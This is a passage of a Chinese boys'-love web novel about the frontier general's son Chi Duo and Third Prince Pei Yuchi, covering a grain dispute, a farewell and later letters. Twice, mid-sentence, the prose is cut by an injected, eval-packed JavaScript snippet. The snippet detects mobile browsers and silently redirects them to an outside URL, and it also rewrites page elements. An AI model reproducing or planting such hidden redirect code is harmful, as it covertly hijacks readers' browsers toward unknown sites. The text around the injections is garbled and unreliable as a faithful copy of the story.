“我有样东西给你看。”迟铎语气刻意压低,说得神神秘秘,话音未落,已经转身拉着人往马厩去。马厩里拴着一匹黑马。通体油亮,筋骨匀称,四蹄稳稳踏地,不躁不动,却自带一股野性。一眼便知不是寻常坐骑,显然是精心挑选出来的。 “怎么样?”迟铎下巴一抬,语气里带着点得意,“够不够你回宫前一直请我?” 裴与驰看了那马一眼,又看了迟铎一眼,没有立刻说话。 迟铎却已经自顾自往下说了:“你要是带不回去,我给你养着。等你哪天再来,还是你的。”他顺手拍了拍马颈,语气十分仗义,“够意思吧?” 那一刻,他是真的没想太多。只觉得这位从宫里来的殿下顺眼、合拍,有好东西,就该第一时间拿出来给他看看,他需要便拿走。 所以回到现在,面对三殿下的疑问。 “凑个热闹罢了。”迟铎给了个回答,语气轻描淡写,目光却偏偏看天看地,就是不看眼前人。 裴与驰看了他一眼,也没打算深究。正这时,武秦提着一个食盒进来。盒盖一掀,热气与香气一并涌出,荷花酥与油酥鸭摆得齐整。裴与驰已将视线重新落回册子上,只淡淡丢下一个字。“吃。”语气理所当然,半点商量的意思都没有。 迟铎撇了撇嘴,也不客气,当即坐下动筷。一口甜一口咸,吃得停不下来,腮帮子鼓鼓的,说话都含糊起来,活像只认真进食的小兽。等武秦退下,他忽然像是想起了什么,含着食物含含糊糊地开口:“对了,你记得让那个武……武大哥,给我把解药拿来。” 裴与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239942|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰:“……” 他抬眼:“什么解药?” “就你们那种秘药啊。”迟铎一边吃一边说,“我想跟着出来,武秦不让,说非得先服下什么穿肠丸,说要是对你起了异心,当场就没命了。” 裴与驰:“………………” 他盯着迟铎看了片刻。好歹是独子,迟将军……当真是一点书都没让他多读? “你吃的……是什么样的?”裴与驰问。 “白色的小丸子。”迟铎想了想,“还挺甜的。” 他说得十分认真,末了还补了一句:“宫里的御医真是厉害,这谁能察觉到是这么毒的毒药。” 裴与驰:“………………” 这一瞬间,他忽然生出一个极其清晰的念头,这人能活到现在,全凭命硬和狗运。 “御医厉不厉害,我说不上来。”裴与驰语气平淡,“不过武秦倒是很会唬小孩。” 迟铎一愣:“什么意思?你是说……他诓我?” 裴与驰摇了摇头,觉得迟铎已经无药可救:“不然呢?真要有那等药,哪会随便喂你。落到你嘴里,那叫糟蹋。” 话说到这里,意思已经再明白不过。 迟铎这才反应过来,自己是被骗了一路。他一口气憋在胸口,出不来又下不去。明明他早就想过:这等奇毒若真在世上,岂会轻易落到他嘴里? 要不是……他偏偏还真信了。 迟铎心里冷哼一声,抬手狠狠咬了一口鸭腿,把那点郁气全发泄在肉上,仿佛咬的是裴与驰的胳膊。 切,他就是多余担心。 送马那一夜,月色极好,黑马被主人赐名玄霜。 玄霜和姣雪被牵到草原上,起初只是并肩慢行,像是试探彼此的气息。后来索性放开了跑。夜风贴着鬃毛掠过,蹄声踏碎星影,两匹马一前一后,越跑越快,跑得酣畅淋漓,仿佛要把这两月里压在胸口的闷气一并甩出去。 待跑得尽兴,才渐渐收住。马蹄踏着草根,声响细碎。玄霜先停下,回头等了一等,姣雪便也靠了过来。两匹马鼻息相触,鬃毛相擦,互相依偎着。迟铎翻身下马,随手拍了拍马颈。裴与驰也下了马,没说什么,只把缰绳一松,让它们自己去喘息。 两人并肩靠在石头旁坐下。 塞北夜空低而阔,星子密密,亮得晃眼。风从草原深处吹来,带着一点冷意,也带着草叶的清香。迟铎随手折了根青草叼在嘴里,半眯着眼,望着天穹不说话。 就在这时,裴与驰忽然开口:“粮草还没到。” 迟铎偏头看了他一眼。他原以为,这人会赏景念诗,顺带笑他没文化。可裴与驰开口,落下的却是正事,那是三殿下心里压着的东西,本不该说与旁人听,却偏偏在这个夜里,说给了迟铎。 “粮不是没有。”裴与驰道,“我亲自盯着装车。是到了长衡,被人按住了。” 话不必说透,迟铎却已听懂。 那些人,手里握着粮,也握着路。平日里在宫门前低眉顺眼,恨不得跪着说话;到了塞北,天高皇帝远,便敢换一副嘴脸。只要裴与驰在文书上落了名、画了押,粮草“暂缓”便有了由头。回头追究,先问罪的也不会是吴义那等小吏,必然是三皇子。奉旨押粮却押不来,监军却稳不住军心,哪一条都够写成罪。 他们真正要的,是让裴与驰顶在前头。 等事情闹大,钱粮一收,人往北一走。边关鞭长莫及;再补一笔“边军不稳、主帅失察”,锅便稳稳扣在迟家头上。 而裴与驰:回京,是慰军不力;留在边关,是怨气所向。军心一旦失控,下面的人未必分得清忠奸,也未必还讲什么皇子不皇子。 这一步棋,从来不是冲着粮来的,是冲着人来的。 迟铎嘴里的青草不知什么时候被嚼碎了。 好毒的计。他这才明白,裴与驰也并非高枕无忧。皇子走在前头,看着风光,脚下却是刀尖,一步踏错,便是万劫不复。 后来听到裴与驰要亲自去讨粮,迟铎坐在迟了了帐中的角落,听着军师一条条分析派谁合适、带多少人合适、该如何周旋。他听得烦闷,脑子里却没转那么多弯:作为迟小将军,他去不了;可作为迟铎,他不想让裴与驰一个人去。 于是他起身去找武秦,开口便道:“我也要去。” 扮亲卫也好,遮面也好,混在队伍里也好,他只要跟着。真出了事,他也能先一步把刀挡下去。 武秦一时没说话。 迟了了派来的人被他拒绝,是因为人多手杂,底细看不清,不敢用。迟家再是好意,也抵不过人心难测。可眼前这位小将军,与殿下朝夕相处两个月,同吃同住,连殿下心里压着的事,都肯同他说上两句。武秦知道迟铎武艺不差,也知道他心思不坏。可他更清楚:迟铎是迟家独子。殿下若有闪失,再搭上迟铎,边关这摊子便再也压不住了。他硬下心肠,仍要拒绝。可迟铎缠得紧,武秦被磨得烦了,索性从袖中摸出一粒糖丸,递过去,语气冷硬:“去可以,你得先服这个穿肠丸。” 他顿了顿,恐吓道:“想清楚。若你对殿下生出异心,即刻当场毙命。” 迟铎眼睛一亮,连犹豫都没有,张口就问:“真假?有这等好东西,朝廷为何不拿出来用?匈奴那群狗崽子,不早就被毒死了?” 武秦:“……” 他沉默片刻,才硬着头皮接道:“此等秘药,药材极其珍贵。” 迟铎“哦”了一声,抬手就把那丸子一口闷了。 “走吧。”他抹了把嘴角,“给我套衣服。面巾记得拿,就说我咳疾未好,免得冲撞殿下。” 武秦:“…………” 回忆及此,被武秦耍了一把的迟铎默默记下一笔,之后便死活不肯再提细节,想把这桩丢脸事混过去。 可饭都吃了,人也走不了了。 他杵在一旁,看着裴与驰伏案疾书,笔走如飞,像是要把长衡县衙的账本连根刨出来。迟铎本想冷哼一声转身就走,可到底没走成,心里骂归骂,眼睛却还是忍不住往那堆册子上瞟。 他终究是不忍,凑近两步,想替他分担些,话还没出口—— 裴与驰头也不抬,先淡淡问了一句:“你认得全吗?” 迟铎:“……” 他这一腔“我来帮你”的热血,瞬间凉了半截。 迟小将军当即脸一沉,转身就要拂袖而去。才迈出半步,袖口却被人一把扣住,力道不重,却不容他挣开。这位眼高于顶、嘴毒心冷的三殿下,竟罕见地放低了声,明摆着是在哄人:“是我不对。烦请英勇无双的迟小将军,同我一起。” 迟铎一愣,回过头去。 裴与驰仍坐在案前,眼皮都没抬,神色依旧冷淡,仿佛方才那句软话不是出自他口。可那只手却攥得牢,半点不松,像是怕人真走了。 迟铎喉头滚了滚,终究没能甩开。他“哼”了一声,算是给自己留了台阶,他气可还没顺呢。可偏偏耳尖先红了,红得明目张胆。。 别扭了没一会儿,两位少年又凑到了一处,并排坐着,一页页翻着账本。查着查着,蜡烛渐渐昏暗,烛芯该剪了。裴与驰抬手要去取剪子,偏头一看,却发现迟铎不知何时侧趴在桌沿上,竟熬睡着了。 醒着的迟小将军总爱刻意把那天生上扬的嘴角往下压,装出一副凶相,好让自己看起来更威风。可一旦睡着,那点威风便散了个干净,唇角松开,微微嘟着,又不自觉往上翘。像刚蒸好的白面馒头,软得让人想试试看是不是一戳就塌;又像一枚糯团子,裹着甜意,乖得让人下不去手欺负。 他睫毛很长,覆在白皙的脸上,轻轻投下一层阴影,把那双平日里亮得过分的圆眼遮得严严实实。呼吸也放得极轻,鼻息擦过袖口,安静乖巧得不像话。 三殿下原本是要剪烛芯的,手都抬起来了,却又停在半空。昏暗的烛光里,他看了迟铎一会儿,什么也没说,只将外袍解下,轻轻覆在那人肩背上。 等迟铎惊醒的时候,天色已经发白。案上的蜡烛烧到尽头,烛泪堆成一圈,火苗细得像一根线,随时都要灭。他猛地直起身,肩上有什么东西滑了一下。迟铎低头,发现自己身上盖着一件外袍。料子极好,带着淡淡的沉香气,熟悉得很,是裴与驰的。 他指尖一顿,心口莫名一跳。 而那人就在他身侧,靠着桌沿睡得很安稳。许是熬得太晚,困得狠了,眉眼间那点冷意淡了些,反倒把他本来的英挺俊朗显了出来。将明未明的天光落在他脸上,勾得鼻梁更挺,眉骨更利。 迟铎想起他平日里总抿着嘴,一副“别来惹我”的冷样,锋芒压得太盛,倒叫人不敢细看。可如今闭着眼,冷意收起,只剩英气逼人,叫人移不开眼。 迟铎看得一时出了神。他低头看了眼外袍,又看回那张脸,耳尖不争气地热了热,连呼吸都放轻了,生怕把人吵醒。偏偏这时,一阵风从门缝里钻了进来,烛火细细一晃。迟铎这才察觉门没关严,冷气正往里灌。 他心里一紧,顾不得别的,急急忙忙把那件外袍拢回裴与驰身上。披好后,又蹑手蹑脚走到门边,把门仔细合上,连门闩都压稳了,才松了口气。 做完这一切,他才回过神来,他到底在紧张什么?真是多余担心! 可偏偏心却不听话,跳得厉害,像是要从胸口撞出来。 他背后的桌上,三殿下也没好到哪去。 某人惊醒时动静不算小,裴与驰其实也没睡沉。刚合眼没多久,便被那一阵手忙脚乱惊得眼皮轻轻一颤。他原本想照例讥讽一句“迟小将军笨手笨脚”,可话还没出口,便察觉一道目光直直落在自己脸上——盯得太认真,太近,近得叫人无处可躲。裴与驰喉头一滞,到了嘴边的冷话硬生生咽了回去。下一瞬,他索性把眼皮压得更低,呼吸放得更稳,装得比方才还像睡着。 仿佛什么都没发生。 直到迟铎蹑手蹑脚披上衣服,又急急忙忙去关门。风从门缝里钻进来时,他几乎是下意识把外袍拢回裴与驰身上,动作轻得很,像怕惊着人。门闩“咔哒”一声压稳,冷气被挡在外头,屋里重新暖下来。 裴与驰分明还闭着眼,呼吸却乱了一瞬。心里那点方才被盯出来的热意,又被这一连串“怕他着凉”的小动作,硬生生添了一把柴火。 这趟监军差事当真棘手,偏偏还遇上个更棘手的人。 他心里冷哼一声,却还是老老实实装睡,生怕自己露了馅。 5. 别离 三皇子确实带回了粮草。 几夜查点下来,数目分毫不差,粮车一辆不缺地运进营地,车辙压得地面发实。待裴与驰启程回宫的日子临近,粮草已尽数入册,整整齐齐停在营外。风一吹,空气里都添了股干燥的谷香。 迟铎挑了一辆顺眼的,翻身坐了上去。他把粮袋理直气壮地当作垫子,往后一躺,翘起二郎腿,嘴里叼着一根干草,眯着眼看头顶的蓝天白云,心情难得松快。正躺得舒坦,忽听脚步声由远及近。 他偏头一看,裴与驰不紧不慢走到粮车旁,神色仍是那副冷淡样。 “喂。”迟铎懒懒支起身,朝那人扬了扬下巴,语气里带着点随口的兴致,“我听李老头说,长安有最烈的酒,也有最美的人,可是真的?” 裴与驰没答,只在车旁停了一瞬,目光从他翘着的腿扫过,像是在看一件碍眼的东西。下一刻,他抬手扣住车把,猛地一压。 粮车一晃。 迟铎猝不及防,整个人从车上翻了下来,后背砸进草地里,嘴里的干草也飞了。 “操!”迟铎摔得眼前一黑,翻身坐起,瞪着他,“裴与驰,你发什么疯?!” 直呼名讳,连尊卑都顾不上了。 裴与驰慢条斯理地掸了掸衣袖,像什么都没发生:“我只是提醒你,粮袋不是你的榻。” 迟铎:“……” 他一口气堵在胸口,正要骂回去,裴与驰却低眼看他,神色冷淡:“再说了,长安的美人榻,你也躺不上。” 迟铎愣了愣,随即反应过来他话里的意思,当即炸毛:“谁说我要躺了?!” “我就是好奇。”他哼了一声,话出口才意识到有些不妥,却已收不回去:“最俊的都在这儿了,长安那‘最美’,到底是什么模样?” 裴与驰原本已要转身,闻言却微不可察地顿了一下,指节在车把上收紧,又很快松开,仿佛方才什么也没听见。 依着他方才的神色,此处本不该再有多话,可三皇子终究没有拂袖而去。片刻后,他像是想起什么,语气平淡地开口:“最烈的酒,是上阵酒。” 他顿了顿,又道:“至于最美的人,宫里,肯定没有。” 迟铎坐在地上,一时没动。听着他的语气,看着他提到宫里时眉眼间那点掩不住的不虞,心里忽然冒出一个极不合时宜的念头:要不,别回去了。 这念头荒唐得很,连他自己都忍不住想笑。皇子不回京,又能往哪去? 可若能多留几日,似乎也没什么不好。 念头一乱,他索性往草地上一躺,手臂枕在脑后,仰面看天,像是方才那一下把骨头都摔懒了。风吹过来,草叶轻轻扫着衣摆,日头落在眼皮上,暖得人发困。 没过多久,裴与驰果然看不下去,走近两步,低声道:“起来。” 迟铎闭着眼,当作没听见。 裴与驰停了一瞬,俯身伸手去拉他。那只手指节修长,落在腕上时力道不重,却不容他再赖。 迟铎眼底掠过一丝得逞的笑意,顺势一拽。 裴与驰猝不及防,被他拉得失了重心,衣袍一荡,也跌进了草地里。草叶被压得簌簌作响,尘土扬起,又很快被风吹散。 两人肩挨着肩躺在一处,离得极近。迟铎侧过脸,正好撞见裴与驰的侧颜,眉骨利落,鼻梁挺直,轮廓锋利得过分。他在心里轻轻哼了一声,暗道自己果然没看走眼——这样的眉眼,便是放到长安,也该是最俊的。 裴与驰皱眉,像是要骂人,迟铎却抢先一步开口:“属下请三殿下……看风景。” 话说得毕恭毕敬,动作却理直气壮,半点不像在请,倒像是仗着胆子把人扣下。那双圆眼亮得过分,偏还要装出一副一本正经的模样,唇角却不受控地往上翘。 裴与驰看着他,话到嘴边却停住了。眼前人神情灵动,眼圆而亮,唇角微翘,像只狸奴学着装凶,偏偏装得并不十分像。若真有尾巴,此刻怕是早已按捺不住,一下一下拍着地面,明明等得心急,却还要装作若无其事。 他沉默了片刻,终究没骂出口,只将目光移开,仿佛什么都未曾发生。 可他也没有起身。 于是两人便这样并肩躺着,任由草叶的清香混着夜风铺开,时辰在头顶一点一点流过去,像是真的只是在看风景。 裴与驰望着天幕,心底却忽然浮起一个念头——长安哪有什么最美的人,若真有,也该在塞北。 风景看够了,两人这才起身。草叶沾在衣摆上,尘土也扑了些在袖口。迟铎草草拍了两下,转头就去拽裴与驰的袖子:“走。” 裴与驰被他拉得一个踉跄,眉心一跳,刚要开口,迟铎却已理直气壮地往前走,像是怕他反悔似的,攥得更紧。 营外不远便是军镇。说是镇子,其实多半是随军扎下的棚屋与土铺,起初冷清得很,只有兵卒来往。可日子久了,随军的妇孺、老人也渐渐聚了过来,挑担的、卖饼的、修补的、熬汤的,叫卖声一阵接一阵,把这片原本只有风沙的地方,硬生生过出了些烟火气。风里不止有草腥与铁锈味,也多了热食的香。迟铎走在前头,兴致高得很,见什么都要停一停,像是要把这塞北的热闹全塞进眼里。裴与驰被他拖着走,嘴上嫌烦,脚步却没慢半分。 街市不大,却热闹得很。摊子挤着摊子,卖的多是些军中用得上的物件:缝补的针线、磨刀的石、热腾腾的饼子与汤。也有些小玩意儿,专哄孩子开心,纸鸢、糖画、彩绳,还有一排排扎得精巧的河灯。 迟铎一眼就看上了。 他站在灯摊前挑来挑去,拎起一盏试了试,又换一盏,神情认真得很。裴与驰在旁边看得眉心直跳,终于忍不住冷声道:“白天点什么灯?” 迟铎头也不回:“现在不点,就没机会了。” 他说着把河灯往裴与驰眼前一晃,理直气壮:“晚上有践行宴。你又腾不出空来。” 裴与驰一顿。 迟铎继续低头挑灯,嘴里嘀嘀咕咕:“明日就启程回京了。你这些天不是查粮草,就是写文书,日日熬到深更,哪有功夫出来走走。” 他没再往下说,只把那句话咽回去。 ……省得回头想起来,连个念想都没有。 裴与驰没说话。他目光在灯摊上一扫,抬手一指,像是随手一挑:“就这盏。” 摊主愣了一下,眼神在两人之间飞快转了一圈,随即忙不迭低头,把那盏灯捧了起来。灯骨细巧,纸面绘着并蒂莲,画工精妙,绘得栩栩如生,两朵莲花挨得极近,花瓣层层叠叠,像是生来便要相依相伴。 迟铎也愣了愣,没忍住多看了裴与驰一眼,心里稀奇得很:没看出来三殿下还有这等雅兴,竟挑这种花样。他原本还觉得那盏锦鲤灯更好,图样喜庆,寓意也吉利。可殿下既点了这盏,他也不好再多嘴,只能点头:“行。” 两人提着河灯往河边走,点了灯,才将灯轻轻放上水面。 一切都很顺利。 下一瞬,那盏灯便被水势一卷,直接顺流而去。 迟铎:“……” 裴与驰:“……” 迟铎原本还想着,白日放灯,本就少了些意思,灯火不显,顶多算个心意,再配合许个愿,图个吉利。谁知风一起来,河面骤然起了细浪,河灯倒是没翻,却被水势一带,飘得极快。眨眼之间,便只剩下一点小光;再一眨眼,连影子也没了。 连愿都来不及许,便没了。 迟铎盯着那处空空的水面,低声道:“……也行,顺流而下,是好兆。” 他说得很轻,像是在说给自己听。可那点闷意还是压在心口,挥之不去。顺遂是顺遂,只是顺得太快了些,快得连人多看一眼的工夫都不给。 像是生怕被谁挽留住。 他喉咙动了动,那句“别忘了我”,终究还是没能说出口。本想着好歹还能借着许愿,把这点心思藏进灯里,叫它替自己走一程。谁知灯一入水,连停都没停,连给人反悔的余地都没有。早知道这样,方才放下去的那一瞬,就该在心里念一句的。 裴与驰也盯着那盏早已看不见的河灯,许久没出声。那灯是他亲手挑的式样。顺流而下,照理说算是好兆。他向来不信这些虚玄之说,可方才那一点光被风与水一带,转瞬便没了,快得叫人连眨眼都来不及。 太快了。原本该慢慢漂着的东西,忽然就没了影子,连给人适应的工夫都不留。 像是刻意在催促他走。 裴与驰眉心微不可察地皱了一下,心里生出几分烦躁,说不清是嫌这风来得不是时候,还是嫌这河太不讲理,又或是……嫌明日来得太快了些。 有了这个插曲,两人兴致都低了下来,尤其迟铎,回去的路上一路闷闷不乐。他低着头踢着路边的石子,走得又慢又沉,像是把那点说不出口的心思都闷在胸口。 裴与驰跟在旁边,看了他好几眼,终究没忍住,开口却是:“饿了,吃什么。” 迟铎一愣。 这段时日他早看明白了,三皇子这人,简直天生适合去求长生问药、当个清修道士,口腹之欲半点没有。城里最热的汤、最香的肉,他都能面不改色地说一句“无须”。迟铎哄过、劝过、激过,通通无用。 如今他临走在即,竟忽然说饿了。 那也好。 能一同吃点像样的吃食,也算是……留个念想。 迟铎胸口那点闷意,悄然松了松。他自己也说不清缘由,只是听见这句话,便忽然觉得:原来他们还可以并肩做点寻常事,还能再走一段路,再多待一会儿。 他赶紧把情绪压下去,装作若无其事,抬头笑道:“好啊,想吃什么?都我请。” 说得阔绰又豪气,像是要把整条街都包下来。 裴与驰却没立刻答,只一直看着他,像是在思索吃什么,又像是早已神游天际。看得迟铎几乎要怀疑自己脸上沾了灰,终究没忍住,抬手在脸侧胡乱抹了一把。 裴与驰这才移开视线:“随你。” 他们最后坐在了一家极其朴素的面馆。 清汤面,汤清见底,几根葱花浮着,热气轻轻往上冒,素得不能再素。 裴与驰扫了一眼:“轮到你请,就是这个?” 迟小将军方才还拍着胸口,说得豪气冲天,如今请出来的阵仗,却着实寒酸。三皇子殿下难得开了回眼界,原来世上真有人能把“请客”二字请得这般清贫。这一顿面,怕是要让迟小将军痛失好几个铜板。 迟铎:“……” 他本想顶回一句“爱吃不吃”,话到嘴边却又咽了回去,只闷声道:“你别小看它。” 他低头搅了搅面,声音不自觉地轻了些:“宫里什么山珍海味没有,唯独这种素面……未必吃得到。” 说到这,他终究还是没忍住,把面往前推了推。那双圆眼睁大看着眼前人,神色异常认真: “吃了。” “回头,别只记得长安的。” 话说得很轻,却又不容敷衍。 裴与驰看着他,一时间竟没接话。迟铎就这么望着他,眼也不眨,像是在等一个答复,又像是只要他肯低头吃一口,便什么都满足了。 那模样,乖得过分,仍旧像只狸奴。 只是狸奴尚且能带回长安,迟小将军却不行。 裴与驰没再说话,低头吃了面。面是什么味道,他自己也说不上来,只觉与平日其他吃食并无二致,不好不坏。 待碗空了,却不知怎的,心底忽生一念:怕是旁的,再不能比了。 吃完面,两人又在街市里磨蹭了一阵。说是逛,其实也没个目的,走走停停,摊子一个接一个地看过去,却又说不出究竟看进了什么。 迟小将军走在前头,步子不自觉地放慢了些,眼睛盯着脚下的路,心里却在盘算:这条街,能不能再长一点,恨不得当场替百姓把路再铺出去一段。 三皇子殿下走在一旁,目光落在街边的摊位上,看得很认真,像是在清点铺子有多少、灯火亮不亮,百姓的生意做得好不好,一副忧国忧民、体恤民情的模样。 看起来都很忙,其实谁也没急着走。 直到传令兵来找,两人才带着说不清、道不明的心思回了营。营中火把连成一线,歌舞不歇,酒盏相碰的声响此起彼伏。回京前的践行宴已经开宴。 可若论起最初那一回,情形却全然不同。当初裴与驰北上,名义上是慰军,实则是监军。接风那日,地点甚至都没敢定在军营,双方皆有所防备。席间虽同样有酒有舞,却处处透着谨慎。话说得客气,眼神却防得极紧,你来我往尽是试探,杯盏相碰之间,谁也不敢真醉。 那一夜,谁也没把这位三殿下当成自己人,可如今再看,火光下的热闹却是真真切切的。 不到三个月,裴与驰便住进了军营,与兵同吃同住。操练时下场,行军时同行,军中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239943|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事务从不越权,却也绝不推诿。 尤其是粮草一事,他既不写折子,也不等批复,只说了一句“等不起”,便亲自去了长衡,硬生生从人手里抢了回来。 吴义与边军积怨多年,命粮屡屡受阻,又常在军镇与长衡县交界处滋事,军中早已不满。那日入席,裴与驰未及动刃,只消两个字,便有人当场伏诛;等吴义真撕破脸,他神色不改,一剑把人连肩钉在柱上,干脆利落。 这等做派,最合边军胃口。那一幕很快被人编成打油诗,在军镇里传开,连稚童都能顺口背上两句。 这一夜的酒,已没人再盯着他的身份,也没人把手按在刃上蓄势待发。有人拍案高声,有人举盏相敬,连素来最桀骜的几名副将,说话时也添了几分真心实意的笑。 裴与驰起初仍按着规矩坐了一会儿,说了几句场面话,神色从容,分寸拿得极稳。 没过多久,袖子忽然被人拽了一下。 迟铎靠得很近,低声道了一句“走”,不等裴与驰问明去处,已将人拖着,从侧帐悄然溜了出去。守在外头的亲兵只当两位少年酒意上头,也未多问。 他拉着裴与驰去了马厩,姣雪与玄霜一黑一白,踏出营地,径直往草原深处而去。夜色渐阔,营火与人声被抛在身后,只余虫鸣风动。月在高处,清白如洗。 迟铎在草地上坐下,随手拍了拍身旁。裴与驰立了一瞬,终究还是走过去,在他身侧坐定。 迟铎仰头望月,道:“我早说过,白天天气这样好,晚上月亮准不会差。” 裴与驰随他看去,月光铺在草尖,也映上迟铎的侧脸,少年轮廓在光里分外清楚。 “这么肯定?”他问。 迟铎一副笃定模样,道:“这种事,我不会错。” 心底却暗暗较着劲:今夜若不圆,倒显得这月亮不识趣了。 若在往常,裴与驰少不得要取笑他一句,嫌迟小将军留在塞北大材小用,该去钦天监做个监正才是;可这一回,他只是看了迟铎一眼,并未反驳。 宴席那头的歌声隐约传来,又被夜风吹散。两人并肩坐着,谁也没有提回去。 正赏着月,忽有一物从旁掷来,是个鹿皮缝制的小袋,落在草地上几乎无声,做工细致,一看便知不俗。 迟铎拾起打开,里头是一面护心镜。 “我要回去了,用不上。”裴与驰语气随意。 迟铎微微蹙眉,道:“你回去的路可不近。” “无妨。”裴与驰道,“死不了。来时也没带,纯占地方。” 迟铎低头看着那面护心镜,一时没有作声。 裴与驰已将目光移回天际。月色落在他侧脸上,鼻梁挺直,轮廓分明。迟铎顺着看了一眼,目光便未能立时收回。 “看什么?”裴与驰问。 迟铎这才回神,将护心镜重新收回袋中,语气淡淡:“没什么。” 说罢抬头望天,竟真静静赏起月来。夜色澄明,圆月高悬,清辉如水。 他看了片刻,低声道:“今晚月色,倒是真好。” 裴与驰应了一声“嗯”,并未抬头。 月光映在迟铎脸侧,睫影轻覆眼下,夜风掠过时,微微一动,如风过麦浪。 裴与驰便这样看着。 两人并肩而坐,目光时而落在月色上,时而又偏开半寸,却总会不自觉地绕回彼此。那一轮明月,便在这来回之间,被他们看尽。 离别之日,终究还是到了。 三皇子素来不喜排场,也不愿惊动旁人,回程不设仪仗,不要人开道护送,只带着亲卫,除却多出一匹黑马,与来时并无二致,便要启程。 临行前,裴与驰走到迟铎面前,抬手捏了捏他脸颊上尚未褪尽的那点软肉,道了一句:“走了。” 营门前几乎同时静了一瞬。谋士的话噎在喉中,副将下意识绷紧背脊。迟将军心头一跳,脚已往前迈了半步,手也抬起。这刺头向来行事无忌,若一时失了分寸,哪怕只是甩开一下,也足够惹来非议。偏偏此时此刻,三皇子军中声望正盛,又分明并无恶意,这场面,最忌生事。 然而下一刻,迟铎仍立在原地,不躲不避,甚至连肩都未偏,只低低应了一声:“嗯。” “路上……小心些。” 周围的目光在二人之间掠过一瞬,便各自收回。 裴与驰很快收了手,未再多言,转身上马。亲卫应声而动,马蹄声接连响起,队伍缓缓离营。风卷尘起,转眼遮住来路。 迟铎站在原地,目送那行人远去,自始至终,一次也未见他回头。 方才还算热闹的营前,转眼便空了下来。 他低低骂了一句:走得倒是真利索。 风中忽然传来一声短促的笛音,不成调,却清亮异常,像是随意一吹,又似怕人听不见。隔了片刻,才被渐远的马蹄声吞没。 迟铎微微一怔,随即低低笑了一声,转瞬便敛去。他这才转身离开,同样没有回头。 人来人往,各有归途。 只是自这一日起,他怀中多了一面护心镜;而裴与驰身上,也多了一支骨笛。 昨夜赏月至深,迟铎思来想去,终究还是没能忍住,把那支一直收着的骨笛取了出来。狼的腿骨,边关最不缺的物什。他当初仔细挑了最直的一根,又请军中乐师指点,慢慢雕成。刀口生涩,废过两根,手上也添过伤,只是成品始终算不上精巧,胜在音色干净。但他嫌它不够好,便一直压在箱底,想着哪一日再修一修,总还能更像样些。 可若再迟一步,人便要走了。 递过去时,他只随口道:“路上无聊,吹着解闷。” 裴与驰接过,低头看了看,既未取笑,也未嫌弃,只在骨面上停了停指腹,问“你雕的?” 迟铎应了一声,语气漫不经心:“凑合能响。” 裴与驰便不再多问,将骨笛收进袖中。 两人依旧并肩坐着,看那轮月色渐渐西移,谁也没有起身,仿佛只要月亮尚在天上,便没有什么非走不可的理由。 可月亮终究会落。 迟铎走着走着,耳畔忽然又响起方才那声不成调的笛音。 他低低啧了一声,只道自己的手,果然还是更适合握刀,这般细活,本就不该指望。 至于那支骨笛,落在三皇子手里,也算各得其所;毕竟,三皇子的奏乐水准,实在也登不上什么大雅之堂。 6. 狸奴 人是走了,心却似乎并未分开。信自塞北出,又往长安去,一来一回,驿马不歇。 迟铎写信向来随性,落笔多是些零碎琐事:军中操练如何,夜里风雪几何,马厩里新添的小马脾气暴躁,险些踢翻饲料槽…….说来都不值一提,却又偏偏一件不落。写完之后,他自己看着也觉不像正经书信,索性拿去请军师润色。 军师初见时还笑着打趣:“小将军这是红鸾星动了?看上了哪家姑娘,竟这般费心。” 及至细看,却发现信中并无半句风花雪月,写的尽是鸡零狗碎、狗屁倒灶的小事,琐碎得紧,却又像怕漏了哪一件。军师方才还要再取笑一句,说这般枯燥琐事,怕是要把姑娘吓跑,话到嘴边却忽然顿住,他的目光落在信末最后一句上:殿下近来可安? 军师心中便明白了,这信是寄往那位曾短暂停留边境的三皇子处。他沉吟片刻,将信合上,又慢慢推了回去,只道一句:“字句已顺,无须多改。” 迟铎应了一声,收了信,神色如常。 而长安那头,也并不比塞北清净。 三皇子甫一入城,尚未及更衣歇脚,便先命驿站,将自己沿途写好的书信送出。信封不厚,字迹端正,语气却比往日松散许多。信中不谈朝政,只记些往日宫中学馆里的日常见闻:哪位老学究讲书讲到一半便打起了盹,书还摊在案上,人却险些睡过去;新入学的几个小皇子背书磕磕绊绊,错得离谱,被点名时一脸茫然;窗外的槐树今年抽芽得早,日影移来移去,落了满地斑驳。末了又添一笔,说今日讲兵法,恰好提及塞北旧事,被先生点名补说几句,结果被幼弟们围着追问了半晌,连散学的钟声都险些误了。 字里行间,尽是些无关紧要的小事,完全不像是他应有的笔墨。只是信写到最后,三皇子总要添上一句,狸奴近来可安? 初次收到信时,迟铎看得一头雾水。 他反复将那一句看了两遍,实在想不出塞北哪里来的狸奴。此地风硬雪烈,草深狼多,哪有那等在长安廊下打滚晒太阳的物什。若问狼崽子们安不安,他倒还能答得上来。前夜巡营,正撞见狼群出没,个个精神得很,半点不像有恙。他甚至认真想了想,若裴与驰当真好奇,改日也不是不能夜里走一趟狼窝,薅只狼崽子出来细细瞧过,再如实写回去。 想到这里,迟铎提笔欲写,又觉哪里不太对,索性作罢,只在信末规规矩矩添了一句:边地一切如常,请殿下勿念。 可书信一来二去,那一句却总也避不开。他在信中问一句“殿下近来可安”,对方便回一句“狸奴安否”;他换了说法,那边也照样对得严丝合缝,仿佛刻意为之。 